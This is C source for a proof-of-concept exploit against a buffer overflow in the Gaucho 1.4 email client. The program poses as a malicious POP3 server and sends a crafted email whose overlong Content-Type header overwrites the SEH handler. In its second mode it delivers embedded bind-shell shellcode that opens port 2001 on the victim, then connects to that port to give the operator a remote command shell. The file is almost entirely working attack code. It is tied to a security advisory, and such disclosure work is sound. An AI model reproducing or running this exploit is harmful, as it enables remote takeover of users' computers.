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- //**************************************************************************
- // Gaucho Ver 1.4 Mail Client Buffer Overflow Vulnerability
- // Bind Shell POC Validation Code for English Win2K SP4
- // 10 Aug 2004
- //
- // Gaucho is an Email client developed by NakedSoft for Microsoft Windows
- // platforms. Gaucho supports SMTP, POP3 and other email delivery protocols.
- // Gaucho version 1.4 is vulnerable to a buffer overflow when receiving
- // malformed emails from a POP3 server. This vulnerability is triggered if the
- // POP3 server returns a specially crafted email that has an abnormally long
- // string in the Content-Type field of the email header. This string will
- // overwrite EIP via SEH, and can be exploited to execute arbitrary code.
- //
- // This POC code simulates a POP3 server that sends a specially crafted email
- // to Gaucho, triggering the overflow and binds shell on port 2001 of a vulnerable
- // Gaucho email client.
- //
- // Tested on Win2K SP4, you must find the address of JMP EDI instruction that
- // is suitable for your system.
- //
- // Advisory
- // http://www.security.org.sg/vuln/gaucho140.html
- //
- // Greetz: snooq, sk, and all guys at SIG^2 (www.security.org.sg)
- //
- //**************************************************************************
-
- #include <winsock2.h>
- #include <windows.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <conio.h>
- #pragma comment(lib,"ws2_32.lib")
-
- bool tcpInit()
- {
- WORD wVersionRequested;
- WSADATA wsaData;
- int err;
-
- wVersionRequested = MAKEWORD( 2, 0 );
-
- err = WSAStartup( wVersionRequested, &wsaData );
- if ( err != 0 ) {
- return false;
- }
-
- if (LOBYTE( wsaData.wVersion ) != 2 ||
- HIBYTE( wsaData.wVersion ) != 0 )
- {
- WSACleanup();
- return false;
- }
-
- return true;
- }
-
-
- SOCKET tcpListen(int port)
- {
- SOCKET sock;
-
- sock = socket(AF_INET, SOCK_STREAM, 0);
-
- if(sock == INVALID_SOCKET)
- return sock;
-
- sockaddr_in sin;
-
- sin.sin_addr.s_addr = htonl(INADDR_ANY);
- sin.sin_family = AF_INET;
- sin.sin_port = htons(port);
-
- if(bind(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)
- {
- printf("Error in bind().\n");
- closesocket(sock);
- return INVALID_SOCKET;
- }
-
- if(listen(sock, 5) == SOCKET_ERROR)
- {
- printf("Error in bind().\n");
- closesocket(sock);
- return INVALID_SOCKET;
- }
-
- return sock;
- }
-
-
- DWORD resolveIP(char *hostName)
- {
- hostent *hent;
- char **addresslist;
- DWORD result = 0;
-
- hent = gethostbyname(hostName);
- if(hent)
- {
- addresslist = hent->h_addr_list;
-
- if (*addresslist)
- {
- result = *((DWORD *)(*addresslist));
-
- }
- }
-
- return result;
- }
-
-
- SOCKET tcpConnect(char *host, int port)
- {
- SOCKET sock;
-
- sock = socket(AF_INET, SOCK_STREAM, 0);
-
- if(sock == INVALID_SOCKET)
- return sock;
-
- sockaddr_in sin;
-
- DWORD ip = resolveIP(host);
- if(ip == 0)
- ip = inet_addr(host);
-
- sin.sin_addr.s_addr = ip;
- sin.sin_family = AF_INET;
- sin.sin_port = htons(port);
-
- if(connect(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)
- {
- printf("Connect failed.\n");
- closesocket(sock);
- return INVALID_SOCKET;
- }
-
- return sock;
- }
-
-
- void shell(int sockfd)
- {
- char buffer[1024];
- fd_set rset;
- FD_ZERO(&rset);
-
- for(;;)
- {
- if(kbhit() != 0)
- {
- fgets(buffer, sizeof(buffer) - 2, stdin);
- send(sockfd, buffer, strlen(buffer), 0);
- }
-
- FD_ZERO(&rset);
- FD_SET(sockfd, &rset);
-
- timeval tv;
- tv.tv_sec = 0;
- tv.tv_usec = 50;
-
- if(select(0, &rset, NULL, NULL, &tv) == SOCKET_ERROR)
- {
- printf("select error\n");
- break;
- }
-
- if(FD_ISSET(sockfd, &rset))
- {
- int n;
-
- ZeroMemory(buffer, sizeof(buffer));
- if((n = recv(sockfd, buffer, sizeof(buffer), 0)) <= 0)
- {
- printf("EOF\n");
- exit(0);
- }
- else
- {
- fwrite(buffer, 1, n, stdout);
- }
- }
- }
- }
-
-
- #define OK_MSG "+OK POC POP3 server for Gaucho Ver 1.4 Vulnerability ready.\r\n"
- #define STAT_REPLY "+OK 1 1\r\n"
-
-
- char UIDL_REPLY[] =
- "1 0123456789012345678901234567890123456789\r\n.\r\n";
-
-
- unsigned char bindShellEmail[] =
- "Date: Mon, 09 Aug 2004 19:44:13 +0800\r\n"
- "Subject: Testing\r\n"
- "To: a@aaaaaa.xxx\r\n"
- "From: XX <xx@xxxxxxxx.xxx.xx>\r\n"
- "Message-ID: <GM109205179359A000.b76.xx@xxxxxxxx.xxx.xx>\r\n"
- "MIME-Version: 1.0\r\n"
- "Content-Type: "
- "AAAABBBBCCCCDDDDEEEEFFFFGGGG1HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
- "AAAABBBBCCCCDDDDEEEEFFFFGGGG"
- "\x37\x55\x62\x76" // overwrites EIP via SEH, address of JMP EDI in MPR.dll
- // this address must be carefully chosen due to the filtering that is done
- // on the header messages.
-
- "IIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
- "AAAABBBBCCCCDDDDEEEEFFFFGGGG3HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
- "AAAABBBBCCCCDDDDEEEEFFFFGGGG4HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
- "AAAABBBBCCCCDDDDEEEEFFFFGGGG5HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
- "AAAABBBBCCCCDDDDEEEEFFFFGGGG6HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
- "AAAABBBBCCCCDDDDEEEEFFFFGGGG7HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
- "AAAABBBBCCCCDDDDEEEEFFFFGGGG8HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
- "AAAABBBBCCCCDDDDEEEEFFFFGGGG9HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
- "AAAABBBBCCCCDDDDEEEEFFFFGGGGAHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
- "AAAABBBBCCCCDDDDEEEEFFFFGGGGBHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
- "AAAABBBBCCCCDDDDEEEEFFFFGGGGCHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
- "AAAABBBBCCCCDDDDEEEEFFFFGGGG"
- "\xEB\x60" // FIRST jmp lands us here, do a SECOND jmp to land onto shellcode
- "HHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
- ";"
- "\x90\x90\xEB\x61" // JMP EDI lands here, do the FIRST jmp here to reach the SECOND jmp
- "set=US-ASCII\r\n"
- "\r\n"
- "\x90\x90" // shellcode sent in email body to avoid filtering (bindshell on 2001)
- "\xEB\x62\x55\x8B\xEC\x51\x56\x57\x8B\x5D\x08\x8B\x73\x3C\x8B\x74"
- "\x33\x78\x03\xF3\x8B\x7E\x20\x03\xFB\x8B\x4E\x18\x56\x33\xD2\x8B"
- "\x37\x03\x75\x08\x33\xDB\x33\xC0\xAC\x85\xC0\x74\x09\xC1\xCB\x0C"
- "\xD1\xCB\x03\xD8\xEB\xF0\x3B\x5D\x0C\x74\x0B\x83\xC7\x04\x42\xE2"
- "\xDE\x5E\x33\xC0\xEB\x17\x5E\x8B\x7E\x24\x03\x7D\x08\x66\x8B\x04"
- "\x57\x8B\x7E\x1C\x03\x7D\x08\x8B\x04\x87\x03\x45\x08\x5F\x5E\x59"
- "\x8B\xE5\x5D\xC3\x55\x8B\xEC\x33\xC9\xB1\xC8\x2B\xE1\x32\xC0\x8B"
- "\xFC\xF3\xAA\xB1\x30\x64\x8B\x01\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B"
- "\x58\x08\x89\x5D\xFC\x68\x8E\x4E\x0E\xEC\xFF\x75\xFC\xE8\x70\xFF"
- "\xFF\xFF\x83\xC4\x08\xBB\xAA\xAA\x6C\x6C\xC1\xEB\x10\x53\x68\x33"
- "\x32\x2E\x64\x68\x77\x73\x32\x5F\x54\xFF\xD0\x89\x45\xF8\xEB\x35"
- "\x5E\x8D\x7D\xF4\x33\xC9\xB1\x09\xFF\x36\xFF\x75\xFC\xE8\x40\xFF"
- "\xFF\xFF\x83\xC4\x08\x85\xC0\x75\x0E\x90\xFF\x36\xFF\x75\xF8\xE8"
- "\x2E\xFF\xFF\xFF\x83\xC4\x08\x89\x07\x33\xC0\xB0\x04\x03\xF0\x2B"
- "\xF8\xE2\xD5\xEB\x29\xE8\xC6\xFF\xFF\xFF\x72\xFE\xB3\x16\x35\x54"
- "\x8A\xA1\xA4\xAD\x2E\xE9\xA4\x1A\x70\xC7\xD9\x09\xF5\xAD\xCB\xED"
- "\xFC\x3B\xEF\xCE\xE0\x60\xE7\x79\xC6\x79\xAD\xD9\x05\xCE\x54\x6A"
- "\x02\xFF\x55\xE0\x33\xC0\x50\x50\x50\x50\x6A\x01\x6A\x02\xFF\x55"
- "\xE4\x89\x45\xD0\x33\xC0\x50\xB8\xFD\xFF\xF8\x2E\x83\xF0\xFF\x50"
- "\x8B\xC4\x6A\x10\x50\xFF\x75\xD0\xFF\x55\xE8\x6A\x05\xFF\x75\xD0"
- "\xFF\x55\xEC\x85\xC0\x75\x68\x8B\xCC\x6A\x10\x8B\xDC\x33\xC0\x50"
- "\x50\x53\x51\xFF\x75\xD0\xFF\x55\xF0\x8B\xD0\x5B\x83\xF0\xFF\x74"
- "\x4E\x8B\xFC\x33\xC9\xB1\x64\x33\xC0\xF3\xAA\xC6\x04\x24\x44\x66"
- "\xC7\x44\x24\x2C\x01\x01\x89\x54\x24\x38\x89\x54\x24\x3C\x89\x54"
- "\x24\x40\x8B\xC4\x8D\x58\x44\xB9\xFF\x63\x6D\x64\xC1\xE9\x08\x51"
- "\x8B\xCC\x52\x53\x53\x50\x33\xC0\x50\x50\x50\x6A\x01\x50\x50\x51"
- "\x50\xFF\x55\xF4\x5B\x6A\xFF\xFF\x33\xFF\x55\xD4\xFF\x55\xD8\xFF"
- "\x75\xD0\xFF\x55\xD8\x50\xFF\x55\xDC"
- "\r\n"
- ".\r\n";
-
- unsigned char pocEmail[] =
- "Date: Mon, 09 Aug 2004 19:44:13 +0800\r\n"
- "Subject: Testing\r\n"
- "To: a@aaaaaa.xxx\r\n"
- "From: XX <xx@xxxxxxxx.xxx.xx>\r\n"
- "Message-ID: <GM109205179359A000.b76.xx@xxxxxxxx.xxx.xx>\r\n"
- "MIME-Version: 1.0\r\n"
- "Content-Type: "
- "AAAABBBBCCCCDDDDEEEEFFFFGGGG1HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
- "AAAABBBBCCCCDDDDEEEEFFFFGGGG"
- "HHHH" // overwrites EIP via SEH
- "IIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
- "AAAABBBBCCCCDDDDEEEEFFFFGGGG3HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
- "AAAABBBBCCCCDDDDEEEEFFFFGGGG4HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
- "AAAABBBBCCCCDDDDEEEEFFFFGGGG5HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
- "AAAABBBBCCCCDDDDEEEEFFFFGGGG6HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
- "AAAABBBBCCCCDDDDEEEEFFFFGGGG7HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
- "AAAABBBBCCCCDDDDEEEEFFFFGGGG8HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
- "AAAABBBBCCCCDDDDEEEEFFFFGGGG9HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
- "AAAABBBBCCCCDDDDEEEEFFFFGGGGAHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
- "AAAABBBBCCCCDDDDEEEEFFFFGGGGBHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
- "AAAABBBBCCCCDDDDEEEEFFFFGGGGCHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
- "AAAABBBBCCCCDDDDEEEEFFFFGGGGDHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
- "; charset=US-ASCII\r\n"
- "Content-Transfer-Encoding: 7bit\r\n"
- "X-Mailer: Gaucho Version 1.4.0 Build 145\r\n"
- "\r\n"
- "Testing\r\n"
- "\r\n"
- ".\r\n";
-
-
- void genUIDLreply(char *ptr)
- {
- srand(GetTickCount());
- for(int i = 2; i < 42; i++)
- {
- ptr[i] = (rand() % 94) + 0x21;
- }
- }
-
- void printUsage(char *filename)
- {
- printf("\nUsage: %s <mode>\n\n", filename);
- printf(" Mode can be:\n");
- printf(" 1 - POC Crash\n"
- " 2 - Bindshell on Port 2001 (JMP EDI address is hardcoded for Win2K SP4)\n\n");
- }
-
- int main(int argc, char* argv[])
- {
- printf("Proof-of-Concept POP3 server for Gaucho Ver 1.4 Vulnerability\n");
- if(argc != 2)
- {
- printUsage(argv[0]);
- return 1;
- }
-
- int mode = atoi(argv[1]);
- if(mode != 1 && mode != 2)
- {
- printf("\nINVALID MODE!\n");
- printUsage(argv[0]);
- return 1;
- }
-
- if(!tcpInit())
- {
- printf("Cannot start Winsock!\n");
- return 1;
- }
- SOCKET s = tcpListen(110);
- if(s == INVALID_SOCKET)
- {
- printf("Cannot create listening socket!\n");
- return 1;
- }
- printf("Listening on POP3 port 110...\n");
-
- struct sockaddr_in sin;
- int sin_size = sizeof(sin);
- SOCKET client = WSAAccept(s, (SOCKADDR *)&sin, &sin_size, NULL, 0);
- char buffer[1024];
- int recvSize;
-
- if(client != INVALID_SOCKET)
- {
- // POP3 banner
- send(client, OK_MSG, strlen(OK_MSG), 0);
- recvSize = recv(client, buffer, sizeof(buffer), 0);
- if(recvSize <= 0)
- return 1;
-
- fwrite(buffer, recvSize, 1, stdout);
-
- // OK to USER
- send(client, OK_MSG, strlen(OK_MSG), 0);
- recvSize = recv(client, buffer, sizeof(buffer), 0);
- if(recvSize <= 0)
- return 1;
-
- fwrite(buffer, recvSize, 1, stdout);
-
- // OK to PASS
- send(client, OK_MSG, strlen(OK_MSG), 0);
- recvSize = recv(client, buffer, sizeof(buffer), 0);
- if(recvSize <= 0)
- return 1;
-
- fwrite(buffer, recvSize, 1, stdout);
-
- // REPLY to STAT
- send(client, STAT_REPLY, strlen(STAT_REPLY), 0);
- recvSize = recv(client, buffer, sizeof(buffer), 0);
- if(recvSize <= 0)
- return 1;
-
- fwrite(buffer, recvSize, 1, stdout);
-
- // REPLY to UIDL
- genUIDLreply(UIDL_REPLY);
- send(client, STAT_REPLY, strlen(STAT_REPLY), 0);
- send(client, UIDL_REPLY, strlen(UIDL_REPLY), 0);
- recvSize = recv(client, buffer, sizeof(buffer), 0);
- if(recvSize <= 0)
- return 1;
-
- fwrite(buffer, recvSize, 1, stdout);
-
- // REPLY to LIST
- send(client, STAT_REPLY, strlen(STAT_REPLY), 0);
- recvSize = recv(client, buffer, sizeof(buffer), 0);
- if(recvSize <= 0)
- return 1;
-
- fwrite(buffer, recvSize, 1, stdout);
-
- if(mode == 1)
- {
- // send malicious email
- send(client, (char *)pocEmail, strlen((char *)pocEmail), 0);
- printf("POC crash email sent...\n");
-
- recvSize = recv(client, buffer, sizeof(buffer), 0);
- if(recvSize <= 0)
- return 1;
-
- fwrite(buffer, recvSize, 1, stdout);
- }
- else
- {
- // send malicious email
- send(client, (char *)bindShellEmail, strlen((char *)bindShellEmail), 0);
- printf("Bindshell email sent. Sleeping for 2 seconds...\n");
- Sleep(2000);
-
- //================================= Connect to the target ==============================
- SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
- if(sock == INVALID_SOCKET)
- {
- printf("Invalid socket return in socket() call.\n");
- WSACleanup();
- return -1;
- }
-
- sin.sin_family = AF_INET;
- sin.sin_port = htons(2001);
-
- if(connect(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)
- {
- printf("Exploit Failed. SOCKET_ERROR return in connect call.\n");
- closesocket(sock);
- WSACleanup();
- return -1;
- }
-
- printf("\n");
- shell(sock);
- }
- }
-
- return 0;
- }
-